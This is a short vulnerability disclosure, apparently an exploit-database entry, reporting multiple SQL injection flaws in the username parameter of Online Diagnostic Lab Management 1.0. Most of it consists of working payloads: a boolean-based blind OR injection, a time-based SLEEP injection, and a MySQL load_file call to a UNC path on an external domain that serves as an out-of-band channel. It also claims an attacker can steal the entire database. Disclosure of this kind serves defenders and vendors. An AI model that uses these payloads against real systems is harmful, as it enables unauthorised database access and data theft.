Online Diagnostic Lab Management 1.0 SQL Injection

`## Title: Online-Diagnostic-Lab-Management v1.0 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 08/01/2023  
## Vendor: https://www.youtube.com/watch?v=0nA5xfQ5G0g  
## Vendor: https://www.youtube.com/@MayuriK  
## Software: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The username parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+'  
was submitted in the username parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed. The attacker can steal all information from the database  
very easily.  
  
STATUS: HIGH-CRITICAL Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: username=-2553' OR 3590=3590-- aPlO&password=y4S!v5f!S4&login=  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=hMRUaqVg'+(select  
load_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+''  
AND (SELECT 2815 FROM (SELECT(SLEEP(15)))TjiG)--  
NgnE&password=y4S!v5f!S4&login=  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Online-Diagnostic-Lab-Management-1.10)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/07/online-diagnostic-lab-management-v10.html)  
  
## Time spend:  
00:35:00  
  
  
`